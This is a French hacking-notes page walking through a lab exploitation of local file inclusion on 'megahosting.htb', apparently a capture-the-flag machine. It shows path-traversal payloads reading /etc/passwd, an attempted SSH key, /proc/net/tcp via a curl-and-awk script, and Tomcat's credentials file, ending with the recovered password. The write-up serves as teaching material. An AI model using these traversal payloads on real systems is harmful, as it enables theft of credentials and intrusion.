> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).

# Identifiants Tomcat via LFI

## LFI :

Accès au fichier vulnérable `new.php` via une variable `?file` dans le dossier `instruction`.

<figure><img src="/files/d8cf1be98576b80a7469f6989777f94387ce2e1c" alt=""><figcaption></figcaption></figure>

**Test d’inclusion de fichier local (LFI)**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/bfc9ec75f88c02c439dc03e99f20d70a8f9d59d7" alt=""><figcaption></figcaption></figure>

* **Résultat :** Accès au fichier `/etc/passwd`, révélant deux utilisateurs : `ash` et `root`. **Tentative d'accès à la clé SSH privée d'Ash**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **Résultat :** Accès refusé.

<figure><img src="/files/7702b5bf8de120c0f9058a242b040974c5c7db30" alt=""><figcaption></figcaption></figure>

**Recherche des ports internes** via `/proc/net/tcp` pour identifier les services cachés :

<figure><img src="/files/765c18ab2b3e711f578a3f402cf3dab56c1e89eb" alt=""><figcaption></figcaption></figure>

**Recherche des ports internes** via `/proc/net/tcp` pour identifier les services cachés :

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
    # Prendre le champ local_address
    split($2, addr_port, ":");
    # Convertir l'adresse au format IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d",
                 strtonum("0x" substr(hex_addr, 7, 2)),
                 strtonum("0x" substr(hex_addr, 5, 2)),
                 strtonum("0x" substr(hex_addr, 3, 2)),
                 strtonum("0x" substr(hex_addr, 1, 2)));
    # Convertir le port en décimal
    port = strtonum("0x" addr_port[2]);
    # Afficher le résultat au format IP:Port
    printf "%s:%d/n", ip, port;
}'

```

**Résultat :** Découverte du port interne `34650`

<figure><img src="/files/6f9b776169fe2c7f4bde1398a90b026ebadbe3cc" alt="" width="563"><figcaption></figcaption></figure>

### **Exploitation du Virtual Host Manager de Tomcat (port 8080)**

**Accès à Tomcat** via le port 8080 et recherche d'informations d'authentification. Par défaut, elles sont stockées dans `/etc/tomcat9/tomcat-users.xml` ou `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/b21bdbee1ab220d996acd9a2969822850c638f86" alt=""><figcaption></figcaption></figure>

**Identifiants** trouvés : `nom d'utilisateur = tomcat` `mot de passe = $3cureP4s5w0rd123!`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
